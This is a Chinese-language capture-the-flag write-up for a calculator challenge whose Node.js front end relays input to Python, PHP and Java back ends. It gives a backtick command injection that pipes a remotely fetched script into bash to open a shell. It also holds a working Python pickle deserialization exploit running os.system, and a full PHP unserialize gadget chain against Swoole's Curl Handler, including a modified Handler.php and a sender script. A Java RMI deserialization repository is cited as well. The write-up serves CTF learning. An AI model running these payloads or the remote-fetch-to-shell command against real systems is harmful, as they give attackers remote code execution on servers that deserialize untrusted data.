根据题目给的docker。大致意思如下
->python
nodejs->web界面+发送数据->php
->java
我们看到的界面就是nodejs的。随手测了下。发现a和b。反引号直接就执行命令了
弹shell
calc?language=php&action=add&a=2&b=`curl xxxxxxxx/shell2.html|bash`
进入以后。直接读app.js
const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");
dotenv.config()
const app = express()
app.use(express.static('public'));
app.get("/", (req, res) => {
return res.redirect("/redirect?filename=index.html")
})
app.get("/redirect", (req, res) => {
let filename = req.query.filename
res.sendFile(`${__dirname}/` + filename)
})
app.get('/calc', (req, res) => {
let params = req.query
var lang = params.language !== undefined ? params.language : "python"
let calc_client_path = {
"python": process.env.py_calc_tool_path,
"php": process.env.php_calc_tool_path,
"java": process.env.java_calc_tool_path
}
if (lang === 'python') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.py_calc_address,
"port": process.env.py_calc_port
}
var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'php') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.php_calc_address,
"port": process.env.php_calc_port
}
var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
} else if (lang === 'java') {
let data = {
"action": params.action,
"a": params.a,
"b": params.b,
"ip": process.env.java_calc_address,
"port": process.env.java_calc_port
}
var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
}
try {
exec(cmd, ((error, stdout, stderr) => {
res.send(stdout)
}))
} catch (e) {
res.send("Something Error")
}
})
const port = process.env.web_app_port
app.listen(port, () => {
console.log(`App listening at http://0.0.0.0:${port}`)
})
简单读一下。就是三个client。发送数据。没了
一个个拖下来。
Python部分
objcopy --dump-section pydata=pydata.dump pythonclient
python3 pyinstxtractor.py pydata.dump
cd pydata.dump_extracted
uncompyle6 client.py
得到源码
import socket, sys, _pickle as pickle, argparse
from Calculator import Calculator
def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data
def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()
try:
try:
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()
finally:
s.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-ip', '--ip_address', help='',
required=True)
parser.add_argument('-p', '--port', help='', required=True)
parser.add_argument('-action', help='', required=True)
parser.add_argument('-a', help='', required=True)
parser.add_argument('-b', help='', required=True)
args = parser.parse_args()
if args.ip_address is None:
args.ip_address = '127.0.0.1'
if args.port is None:
args.port = 8080
data = generate_data(args.action, args.a, args.b)
send_data(args.ip_address, args.port, data)
# okay decompiling client.pyc
pickle.dumps。不多说了。exp:
import socket, sys, _pickle as pickle,os
class Calculator(object):
def __init__(self,action,a,b):
self.a = a
self.b = b
def __reduce__(self):
return (os.system, ('curl xxxxxxxx',))
def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data
def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()
try:
try:
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()
finally:
s.close()
if __name__ == '__main__':
data = generate_data('add', 1,2)
send_data('172.18.0.5', 8080, data)
成功命令执行
PHP部分
在tmp能看到解压后的代码。用phar extractto也能获得源码
<?php
include_once __DIR__ . "/Calculator.php";
$params = $argv;
$i = 0;
$action = $params[$i + 2];
$a = $params[$i + 4];
$b = $params[$i + 6];
$ip = $params[$i + 8];
$port = $params[$i + 10];
$calculator = new Calculator($action, $a, $b);
$data = serialize($calculator);
// send serialize data
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();
<?php
class Calculator
{
private $action;
private $a;
private $b;
private $res;
function __construct($action, $a, $b)
{
$this->action = $action;
$this->a = $a;
$this->b = $b;
}
private function add()
{
$this->res = $this->a + $this->b;
}
private function sub()
{
$this->res = $this->a - $this->b;
}
private function mul()
{
$this->res = $this->a * $this->b;
}
private function div()
{
$this->res = $this->a / $this->b;
}
public function __invoke()
{
// TODO: Implement __invoke() method.
if ($this->action == 'add') {
$this->add();
} elseif ($this->action == "sub") {
$this->sub();
} elseif ($this->action == "mul") {
$this->mul();
} elseif ($this->action == "div") {
$this->div();
}
return $this->res;
}
}
随便整点东西。发现服务端报swoole的错误。本地php im|grep swoole发现是4.6.3的swoole
下源码。跟了下。发现RCTF null的非预期解可以用。
在源码中。发现最后执行是在_invoke魔术方法中。猜测服务端估计是
$object=unserialize(用户输入);$object()
所以。直接null的exp打就行了
Exp.py
// Author: Wupco (http://www.wupco.cn/)
<?php
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include("Handler.php");
function process_serialized($serialized)
{
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while (
$current < strlen($serialized) &&
preg_match(
$pattern,
$serialized,
$matches,
PREG_OFFSET_CAPTURE,
$current
)
) {
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if (!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
)) {
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for ($i=0; $i < strlen($string); $i++) {
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION, "array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('curl xxxxx');
$o->setOpt(CURLOPT_POST, 1);
$o->setOpt(CURLOPT_POSTFIELDS, "aaa");
$o->setOpt(CURLOPT_HTTPHEADER, ["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));
Handler.php
<?php
/**
* This file is part of Swoole.
*
* @link https://www.swoole.com
* @contact team@swoole.com
* @license https://github.com/swoole/library/blob/master/LICENSE
*/
/* @noinspection PhpComposerExtensionStubsInspection, PhpDuplicateSwitchCaseBodyInspection, PhpInconsistentReturnPointsInspection */
declare(strict_types=1);
namespace Swoole\Curl;
use CURLFile;
use ReflectionClass;
use Swoole;
use Swoole\Constant;
use Swoole\Coroutine\Http\Client;
use Swoole\Curl\Exception as CurlException;
use Swoole\Http\Status;
final class Handlep
{
/**
* @var Client
*/
private $client;
private $info = [
'url' => '',
'content_type' => '',
'http_code' => 0,
'header_size' => 0,
'request_size' => 0,
'filetime' => -1,
'ssl_verify_result' => 0,
'redirect_count' => 0,
'total_time' => 5.3E-5,
'namelookup_time' => 0.0,
'connect_time' => 0.0,
'pretransfer_time' => 0.0,
'size_upload' => 0.0,
'size_download' => 0.0,
'speed_download' => 0.0,
'speed_upload' => 0.0,
'download_content_length' => -1.0,
'upload_content_length' => -1.0,
'starttransfer_time' => 0.0,
'redirect_time' => 0.0,
'redirect_url' => '',
'primary_ip' => '',
'certinfo' => [],
'primary_port' => 0,
'local_ip' => '',
'local_port' => 0,
'http_version' => 0,
'protocol' => 0,
'ssl_verifyresult' => 0,
'scheme' => '',
];
private $withHeaderOut = false;
private $withFileTime = false;
private $urlInfo;
private $postData;
private $infile;
private $infileSize = PHP_INT_MAX;
private $outputStream;
private $proxyType;
private $proxy;
private $proxyPort = 1080;
private $proxyUsername;
private $proxyPassword;
private $clientOptions = [];
private $followLocation = false;
private $autoReferer = false;
private $maxRedirects;
private $withHeader = false;
private $nobody = false;
/** @var callable */
private $headerFunction;
/** @var callable */
private $readFunction;
/** @var callable */
private $writeFunction;
/** @var callable */
private $progressFunction;
private $returnTransfer = false;
private $method = '';
private $headers = [];
private $headerMap = [];
private $transfer;
private $errCode = 0;
private $errMsg = '';
private $failOnError = false;
private $closed = false;
private $cookieJar = '';
public function __construct(string $url = '')
{
if ($url) {
$this->setUrl($url);
}
}
public function __toString()
{
$id = spl_object_id($this);
return "Object({$id}) of type (curl)";
}
/* ====== Public APIs ====== */
public function isAvailable(): bool
{
if ($this->closed) {
trigger_error('supplied resource is not a valid cURL handle resource', E_USER_WARNING);
return false;
}
return true;
}
public function setOpt(int $opt, $value): bool
{
return $this->isAvailable() and $this->setOption($opt, $value);
}
public function exec()
{
if (!$this->isAvailable()) {
return false;
}
return $this->execute();
}
public function getInfo()
{
return $this->isAvailable() ? $this->info : false;
}
public function errno()
{
return $this->isAvailable() ? $this->errCode : false;
}
public function error()
{
return $this->isAvailable() ? $this->errMsg : false;
}
public function reset()
{
if (!$this->isAvailable()) {
return false;
}
foreach ((new ReflectionClass(static::class))->getDefaultProperties() as $name => $value) {
$this->{$name} = $value;
}
}
public function getContent()
{
if (!$this->isAvailable()) {
return false;
}
return $this->transfer;
}
public function close()
{
if (!$this->isAvailable()) {
return false;
}
foreach ($this as &$property) {
$property = null;
}
$this->closed = true;
}
private function create(?array $urlInfo = null): void
{
if ($urlInfo === null) {
$urlInfo = $this->urlInfo;
}
$this->client = new Client($urlInfo['host'], $urlInfo['port'], $urlInfo['scheme'] === 'https');
}
private function getUrl(): string
{
if (empty($this->urlInfo['path'])) {
$url = '/';
} else {
$url = $this->urlInfo['path'];
}
if (!empty($this->urlInfo['query'])) {
$url .= '?' . $this->urlInfo['query'];
}
if (!empty($this->urlInfo['fragment'])) {
$url .= '#' . $this->urlInfo['fragment'];
}
return $url;
}
private function setUrl(string $url, bool $setInfo = true): bool
{
if (strlen($url) === 0) {
$this->setError(CURLE_URL_MALFORMAT, 'No URL set!');
return false;
}
if (strpos($url, '://') === false) {
$url = 'http://' . $url;
}
if ($setInfo) {
$urlInfo = parse_url($url);
if (!is_array($urlInfo)) {
$this->setError(CURLE_URL_MALFORMAT, "URL[{$url}] using bad/illegal format");
return false;
}
if (!$this->setUrlInfo($urlInfo)) {
return false;
}
}
$this->info['url'] = $url;
return true;
}
private function setUrlInfo(array $urlInfo): bool
{
if (empty($urlInfo['scheme'])) {
$urlInfo['scheme'] = 'http';
}
$scheme = $urlInfo['scheme'];
if ($scheme !== 'http' and $scheme !== 'https') {
$this->setError(CURLE_UNSUPPORTED_PROTOCOL, "Protocol \"{$scheme}\" not supported or disabled in libcurl");
return false;
}
$host = $urlInfo['host'];
if ($this->info['primary_port'] !== 0) {
/* keep same with cURL, primary_port has the highest priority */
$urlInfo['port'] = $this->info['primary_port'];
} elseif (empty($urlInfo['port'])) {
$urlInfo['port'] = $scheme === 'https' ? 443 : 80;
} else {
$urlInfo['port'] = intval($urlInfo['port']);
}
$port = $urlInfo['port'];
if ($this->client) {
$oldUrlInfo = $this->urlInfo;
if (($host !== $oldUrlInfo['host']) || ($port !== $oldUrlInfo['port']) || ($scheme !== $oldUrlInfo['scheme'])) {
/* target changed */
$this->create($urlInfo);
}
}
$this->urlInfo = $urlInfo;
return true;
}
private function setPort(int $port): void
{
$this->info['primary_port'] = $port;
if (!isset($this->urlInfo['port']) || $this->urlInfo['port'] !== $port) {
$this->urlInfo['port'] = $port;
if ($this->client) {
/* target changed */
$this->create();
}
}
}
private function setError($code, $msg = ''): void
{
$this->errCode = $code;
$this->errMsg = $msg ? $msg : curl_strerror($code);
}
private function hasHeader(string $headerName): bool
{
return isset($this->headerMap[strtolower($headerName)]);
}
private function setHeader(string $headerName, string $value): void
{
$lowerCaseHeaderName = strtolower($headerName);
if (isset($this->headerMap[$lowerCaseHeaderName])) {
unset($this->headers[$this->headerMap[$lowerCaseHeaderName]]);
}
if ($value !== '') {
$this->headers[$headerName] = $value;
$this->headerMap[$lowerCaseHeaderName] = $headerName;
} else {
// remove empty headers (keep same with raw cURL)
unset($this->headerMap[$lowerCaseHeaderName]);
}
}
/**
* @param mixed $value
* @throws Swoole\Curl\Exception
*/
private function setOption(int $opt, $value): bool
{
switch ($opt) {
// case CURLOPT_STDERR:
// case CURLOPT_WRITEHEADER:
case CURLOPT_FILE:
case CURLOPT_INFILE:
if (!is_resource($value)) {
//trigger_error('swoole_curl_setopt(): supplied argument is not a valid File-Handle resource', E_USER_WARNING);
//return false;
}
break;
}
switch ($opt) {
/*
* Basic
*/
case CURLOPT_URL:
return $this->setUrl((string) $value);
case CURLOPT_PORT:
$this->setPort((int) $value);
break;
case CURLOPT_FORBID_REUSE:
$this->clientOptions[Constant::OPTION_KEEP_ALIVE] = !$value;
break;
case CURLOPT_RETURNTRANSFER:
$this->returnTransfer = $value;
$this->transfer = '';
break;
case CURLOPT_ENCODING:
if (empty($value)) {
if (defined('SWOOLE_HAVE_ZLIB')) {
$value = 'gzip, deflate';
}
if (defined('SWOOLE_HAVE_BROTLI')) {
if (!empty($value)) {
$value = 'br, ' . $value;
} else {
$value = 'br';
}
}
if (empty($value)) {
break;
}
}
$this->setHeader('Accept-Encoding', $value);
break;
case CURLOPT_PROXYTYPE:
if ($value !== CURLPROXY_HTTP and $value !== CURLPROXY_SOCKS5) {
throw new Swoole\Curl\Exception(
'swoole_curl_setopt(): Only support following CURLOPT_PROXYTYPE values: CURLPROXY_HTTP, CURLPROXY_SOCKS5'
);
}
$this->proxyType = $value;
break;
case CURLOPT_PROXY:
$this->proxy = $value;
break;
case CURLOPT_PROXYPORT:
$this->proxyPort = $value;
break;
case CURLOPT_PROXYUSERNAME:
$this->proxyUsername = $value;
break;
case CURLOPT_PROXYPASSWORD:
$this->proxyPassword = $value;
break;
case CURLOPT_PROXYUSERPWD:
$usernamePassword = explode(':', $value);
$this->proxyUsername = urldecode($usernamePassword[0]);
$this->proxyPassword = urldecode($usernamePassword[1] ?? null);
break;
case CURLOPT_PROXYAUTH:
/* ignored temporarily */
break;
case CURLOPT_NOBODY:
$this->nobody = boolval($value);
$this->method = 'HEAD';
break;
case CURLOPT_IPRESOLVE:
if ($value !== CURL_IPRESOLVE_WHATEVER and $value !== CURL_IPRESOLVE_V4) {
throw new Swoole\Curl\Exception(
'swoole_curl_setopt(): Only support following CURLOPT_IPRESOLVE values: CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4'
);
}
break;
case CURLOPT_TCP_NODELAY:
$this->clientOptions[Constant::OPTION_OPEN_TCP_NODELAY] = boolval($value);
break;
/*
* Ignore options
*/
case CURLOPT_VERBOSE:
// trigger_error('swoole_curl_setopt(): CURLOPT_VERBOSE is not supported', E_USER_WARNING);
case CURLOPT_SSLVERSION:
case CURLOPT_NOSIGNAL:
case CURLOPT_FRESH_CONNECT:
/*
* From PHP 5.1.3, this option has no effect: the raw output will always be returned when CURLOPT_RETURNTRANSFER is used.
*/
case CURLOPT_BINARYTRANSFER: /* TODO */
case CURLOPT_DNS_USE_GLOBAL_CACHE:
case CURLOPT_DNS_CACHE_TIMEOUT:
case CURLOPT_STDERR:
case CURLOPT_WRITEHEADER:
case CURLOPT_BUFFERSIZE:
case CURLOPT_SSLCERTTYPE:
case CURLOPT_SSLKEYTYPE:
case CURLOPT_NOPROXY:
case CURLOPT_CERTINFO:
case CURLOPT_HEADEROPT:
case CURLOPT_PROXYHEADER:
break;
/*
* SSL
*/
case CURLOPT_SSL_VERIFYHOST:
break;
case CURLOPT_SSL_VERIFYPEER:
$this->clientOptions[Constant::OPTION_SSL_VERIFY_PEER] = $value;
break;
case CURLOPT_SSLCERT:
$this->clientOptions[Constant::OPTION_SSL_CERT_FILE] = $value;
break;
case CURLOPT_SSLKEY:
$this->clientOptions[Constant::OPTION_SSL_KEY_FILE] = $value;
break;
case CURLOPT_CAINFO:
$this->clientOptions[Constant::OPTION_SSL_CAFILE] = $value;
break;
case CURLOPT_CAPATH:
$this->clientOptions[Constant::OPTION_SSL_CAPATH] = $value;
break;
case CURLOPT_KEYPASSWD:
case CURLOPT_SSLCERTPASSWD:
case CURLOPT_SSLKEYPASSWD:
$this->clientOptions[Constant::OPTION_SSL_PASSPHRASE] = $value;
break;
/*
* Http POST
*/
case CURLOPT_POST:
$this->method = 'POST';
break;
case CURLOPT_POSTFIELDS:
$this->postData = $value;
if (!$this->method) {
$this->method = 'POST';
}
break;
/*
* Upload
*/
case CURLOPT_SAFE_UPLOAD:
if (!$value) {
trigger_error('swoole_curl_setopt(): Disabling safe uploads is no longer supported', E_USER_WARNING);
return false;
}
break;
/*
* Http Header
*/
case CURLOPT_HTTPHEADER:
if (!is_array($value) and !is_iterable($value)) {
trigger_error('swoole_curl_setopt(): You must pass either an object or an array with the CURLOPT_HTTPHEADER argument', E_USER_WARNING);
return false;
}
foreach ($value as $header) {
$header = explode(':', $header, 2);
$headerName = $header[0];
$headerValue = trim($header[1] ?? '');
$this->setHeader($headerName, $headerValue);
}
break;
case CURLOPT_REFERER:
$this->setHeader('Referer', $value);
break;
case CURLINFO_HEADER_OUT:
$this->withHeaderOut = boolval($value);
break;
case CURLOPT_FILETIME:
$this->withFileTime = boolval($value);
break;
case CURLOPT_USERAGENT:
$this->setHeader('User-Agent', $value);
break;
case CURLOPT_CUSTOMREQUEST:
$this->method = (string) $value;
break;
case CURLOPT_PROTOCOLS:
if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) {
throw new CurlException("swoole_curl_setopt(): CURLOPT_PROTOCOLS[{$value}] is not supported");
}
break;
case CURLOPT_REDIR_PROTOCOLS:
if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) {
throw new CurlException("swoole_curl_setopt(): CURLOPT_REDIR_PROTOCOLS[{$value}] is not supported");
}
break;
case CURLOPT_HTTP_VERSION:
if ($value != CURL_HTTP_VERSION_1_1) {
trigger_error("swoole_curl_setopt(): CURLOPT_HTTP_VERSION[{$value}] is not supported", E_USER_WARNING);
return false;
}
break;
case CURLOPT_FAILONERROR:
$this->failOnError = $value;
break;
/*
* Http Cookie
*/
case CURLOPT_COOKIE:
$this->setHeader('Cookie', $value);
break;
case CURLOPT_COOKIEJAR:
$this->cookieJar = (string) $value;
break;
case CURLOPT_COOKIEFILE:
if (is_file((string) $value)) {
$this->setHeader('Cookie', file_get_contents($value));
}
break;
case CURLOPT_CONNECTTIMEOUT:
$this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value;
break;
case CURLOPT_CONNECTTIMEOUT_MS:
$this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value / 1000;
break;
case CURLOPT_TIMEOUT:
$this->clientOptions[Constant::OPTION_TIMEOUT] = $value;
break;
case CURLOPT_TIMEOUT_MS:
$this->clientOptions[Constant::OPTION_TIMEOUT] = $value / 1000;
break;
case CURLOPT_FILE:
$this->outputStream = $value;
break;
case CURLOPT_HEADER:
$this->withHeader = $value;
break;
case CURLOPT_HEADERFUNCTION:
$this->headerFunction = $value;
break;
case CURLOPT_READFUNCTION:
$this->readFunction = $value;
break;
case CURLOPT_WRITEFUNCTION:
$this->writeFunction = $value;
break;
case CURLOPT_PROGRESSFUNCTION:
$this->progressFunction = $value;
break;
case CURLOPT_HTTPAUTH:
if (!($value & CURLAUTH_BASIC)) {
trigger_error("swoole_curl_setopt(): CURLOPT_HTTPAUTH[{$value}] is not supported", E_USER_WARNING);
return false;
}
break;
case CURLOPT_USERPWD:
$this->setHeader('Authorization', 'Basic ' . base64_encode($value));
break;
case CURLOPT_FOLLOWLOCATION:
$this->followLocation = $value;
break;
case CURLOPT_AUTOREFERER:
$this->autoReferer = $value;
break;
case CURLOPT_MAXREDIRS:
$this->maxRedirects = $value;
break;
case CURLOPT_PUT:
case CURLOPT_UPLOAD:
/* after libcurl 7.12, CURLOPT_PUT is replaced by CURLOPT_UPLOAD */
$this->method = 'PUT';
break;
case CURLOPT_INFILE:
$this->infile = $value;
break;
case CURLOPT_INFILESIZE:
$this->infileSize = $value;
break;
case CURLOPT_HTTPGET:
/* Since GET is the default, this is only necessary if the request method has been changed. */
$this->method = 'GET';
break;
default:
throw new Swoole\Curl\Exception("swoole_curl_setopt(): option[{$opt}] is not supported");
}
return true;
}
private function execute()
{
$this->info['redirect_count'] = $this->info['starttransfer_time'] = 0;
$this->info['redirect_url'] = '';
$timeBegin = microtime(true);
/*
* Socket
*/
if (!$this->urlInfo) {
$this->setError(CURLE_URL_MALFORMAT, 'No URL set or URL using bad/illegal format');
return false;
}
if (!$this->client) {
$this->create();
}
do {
$client = $this->client;
/*
* Http Proxy
*/
if ($this->proxy) {
$parse = parse_url($this->proxy);
$proxy = $parse['host'] ?? $parse['path'];
$proxyPort = $parse['port'] ?? $this->proxyPort;
$proxyUsername = $parse['user'] ?? $this->proxyUsername;
$proxyPassword = $parse['pass'] ?? $this->proxyPassword;
$proxyType = $parse['scheme'] ?? $this->proxyType;
if (is_string($proxyType)) {
if ($proxyType === 'socks5') {
$proxyType = CURLPROXY_SOCKS5;
} else {
$proxyType = CURLPROXY_HTTP;
}
}
if (!filter_var($proxy, FILTER_VALIDATE_IP)) {
$ip = Swoole\Coroutine::gethostbyname($proxy, AF_INET, $this->clientOptions['connect_timeout'] ?? -1);
if (!$ip) {
$this->setError(CURLE_COULDNT_RESOLVE_PROXY, 'Could not resolve proxy: ' . $proxy);
return false;
}
$this->proxy = $proxy = $ip;
}
switch ($proxyType) {
case CURLPROXY_HTTP:
$proxyOptions = [
'http_proxy_host' => $proxy,
'http_proxy_port' => $proxyPort,
'http_proxy_username' => $proxyUsername,
'http_proxy_password' => $proxyPassword,
];
break;
case CURLPROXY_SOCKS5:
$proxyOptions = [
'socks5_host' => $proxy,
'socks5_port' => $proxyPort,
'socks5_username' => $proxyUsername,
'socks5_password' => $proxyPassword,
];
break;
default:
throw new CurlException("Unexpected proxy type [{$proxyType}]");
}
}
/*
* Client Options
*/
$client->set(
$this->clientOptions +
($proxyOptions ?? [])
);
/*
* Method
*/
if ($this->method) {
$client->setMethod($this->method);
}
/*
* Data
*/
if ($this->infile) {
// Infile
// Notice: we make its priority higher than postData but raw cURL will send both of them
$data = '';
while (true) {
$nLength = $this->infileSize - strlen($data);
if ($nLength === 0) {
break;
}
if (feof($this->infile)) {
break;
}
$data .= fread($this->infile, $nLength);
}
$client->setData($data);
// Notice: although we reset it, raw cURL never do this
$this->infile = null;
$this->infileSize = PHP_INT_MAX;
} else {
// POST data
if ($this->postData) {
if (is_string($this->postData)) {
if (!$this->hasHeader('content-type')) {
$this->setHeader('Content-Type', 'application/x-www-form-urlencoded');
}
} elseif (is_array($this->postData)) {
foreach ($this->postData as $k => $v) {
if ($v instanceof CURLFile) {
$client->addFile($v->getFilename(), $k, $v->getMimeType() ?: 'application/octet-stream', $v->getPostFilename());
unset($this->postData[$k]);
}
}
}
}
$client->setData($this->postData);
}
/*
* Headers
*/
// Notice: setHeaders must be placed last, because headers may be changed by other parts
// As much as possible to ensure that Host is the first header.
// See: http://tools.ietf.org/html/rfc7230#section-5.4
$client->setHeaders($this->headers);
/**
* Execute.
*/
$executeResult = $client->execute($this->getUrl());
if (!$executeResult) {
$errCode = $client->errCode;
if ($errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_FAILED or $errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_TIMEOUT) {
$this->setError(CURLE_COULDNT_RESOLVE_HOST, 'Could not resolve host: ' . $client->host);
} else {
$this->setError($errCode, $client->errMsg);
}
$this->info['total_time'] = microtime(true) - $timeBegin;
return false;
}
if ($client->statusCode >= 300 and $client->statusCode < 400 and isset($client->headers['location'])) {
$redirectParsedUrl = $this->getRedirectUrl($client->headers['location']);
$redirectUrl = static::unparseUrl($redirectParsedUrl);
if ($this->followLocation and ($this->maxRedirects === null or $this->info['redirect_count'] < $this->maxRedirects)) {
if ($this->info['redirect_count'] === 0) {
$this->info['starttransfer_time'] = microtime(true) - $timeBegin;
$redirectBeginTime = microtime(true);
}
// force GET
if (in_array($client->statusCode, [Status::MOVED_PERMANENTLY, Status::FOUND, Status::SEE_OTHER])) {
$this->method = 'GET';
}
if ($this->autoReferer) {
$this->setHeader('Referer', $this->info['url']);
}
$this->setUrl($redirectUrl, false);
$this->setUrlInfo($redirectParsedUrl);
$this->info['redirect_count']++;
} else {
$this->info['redirect_url'] = $redirectUrl;
break;
}
} elseif ($this->failOnError && $client->statusCode >= 400) {
$this->setError(CURLE_HTTP_RETURNED_ERROR, "The requested URL returned error: {$client->statusCode} " . Status::getReasonPhrase($client->statusCode));
return false;
} else {
break;
}
} while (true);
$this->info['total_time'] = microtime(true) - $timeBegin;
$this->info['http_code'] = $client->statusCode;
$this->info['content_type'] = $client->headers['content-type'] ?? '';
$this->info['size_download'] = $this->info['download_content_length'] = strlen($client->body);
$this->info['speed_download'] = 1 / $this->info['total_time'] * $this->info['size_download'];
if (isset($redirectBeginTime)) {
$this->info['redirect_time'] = microtime(true) - $redirectBeginTime;
}
$headerContent = '';
if ($client->headers) {
$cb = $this->headerFunction;
if ($client->statusCode > 0) {
$row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
if ($cb) {
$cb($this, $row);
}
$headerContent .= $row;
}
foreach ($client->headers as $k => $v) {
$row = "{$k}: {$v}\r\n";
if ($cb) {
$cb($this, $row);
}
$headerContent .= $row;
}
$headerContent .= "\r\n";
$this->info['header_size'] = strlen($headerContent);
if ($cb) {
$cb($this, '');
}
} else {
$this->info['header_size'] = 0;
}
if ($client->body and $this->readFunction) {
$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body));
}
if ($this->withHeader) {
$transfer = $headerContent . $client->body;
} else {
$transfer = $client->body;
}
if ($this->withHeaderOut) {
$headerOutContent = $client->getHeaderOut();
$this->info['request_header'] = $headerOutContent ? $headerOutContent . "\r\n\r\n" : '';
}
if ($this->withFileTime) {
if (isset($client->headers['last-modified'])) {
$this->info['filetime'] = strtotime($client->headers['last-modified']);
} else {
$this->info['filetime'] = -1;
}
}
if ($this->cookieJar && $this->cookieJar !== '') {
if ($this->cookieJar === '-') {
foreach ((array) $client->set_cookie_headers as $cookie) {
echo $cookie . PHP_EOL;
}
} else {
$cookies = '';
foreach ((array) $client->set_cookie_headers as $cookie) {
$cookies .= "{$cookie};";
}
file_put_contents($this->cookieJar, $cookies);
}
}
if ($this->writeFunction) {
if (!is_callable($this->writeFunction)) {
trigger_error('curl_exec(): Could not call the CURLOPT_WRITEFUNCTION', E_USER_WARNING);
$this->setError(CURLE_WRITE_ERROR, 'Failure writing output to destination');
return false;
}
call_user_func($this->writeFunction, $this, $transfer);
return true;
}
if ($this->returnTransfer) {
return $this->transfer = $transfer;
}
if ($this->outputStream) {
return fwrite($this->outputStream, $transfer) === strlen($transfer);
}
echo $transfer;
return true;
}
/* ====== Redirect helper ====== */
private static function unparseUrl(array $parsedUrl): string
{
$scheme = ($parsedUrl['scheme'] ?? 'http') . '://';
$host = $parsedUrl['host'] ?? '';
$port = isset($parsedUrl['port']) ? ':' . $parsedUrl['port'] : '';
$user = $parsedUrl['user'] ?? '';
$pass = isset($parsedUrl['pass']) ? ':' . $parsedUrl['pass'] : '';
$pass = ($user or $pass) ? "{$pass}@" : '';
$path = $parsedUrl['path'] ?? '';
$query = (isset($parsedUrl['query']) and $parsedUrl['query'] !== '') ? '?' . $parsedUrl['query'] : '';
$fragment = isset($parsedUrl['fragment']) ? '#' . $parsedUrl['fragment'] : '';
return $scheme . $user . $pass . $host . $port . $path . $query . $fragment;
}
private function getRedirectUrl(string $location): array
{
$uri = parse_url($location);
if (isset($uri['host'])) {
$redirectUri = $uri;
} else {
if (!isset($location[0])) {
return [];
}
$redirectUri = $this->urlInfo;
$redirectUri['query'] = '';
if ($location[0] === '/') {
$redirectUri['path'] = $location;
} else {
$path = dirname($redirectUri['path'] ?? '');
if ($path === '.') {
$path = '/';
}
if (isset($location[1]) and substr($location, 0, 2) === './') {
$location = substr($location, 2);
}
$redirectUri['path'] = $path . $location;
}
if (is_array($uri)) {
foreach ($uri as $k => $v) {
if (!in_array($k, ['path', 'query'])) {
$redirectUri[$k] = $v;
}
}
}
}
return $redirectUri;
}
}
最终exp:
<?php
$ip='172.18.0.2';
$port=8080;
include_once __DIR__ . "/Calculator.php";
$data=urldecode('payloadpayload');
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();
Java部分
java 8u221的rmi
复现就完事了https://github.com/lalajun/RMIDeserialize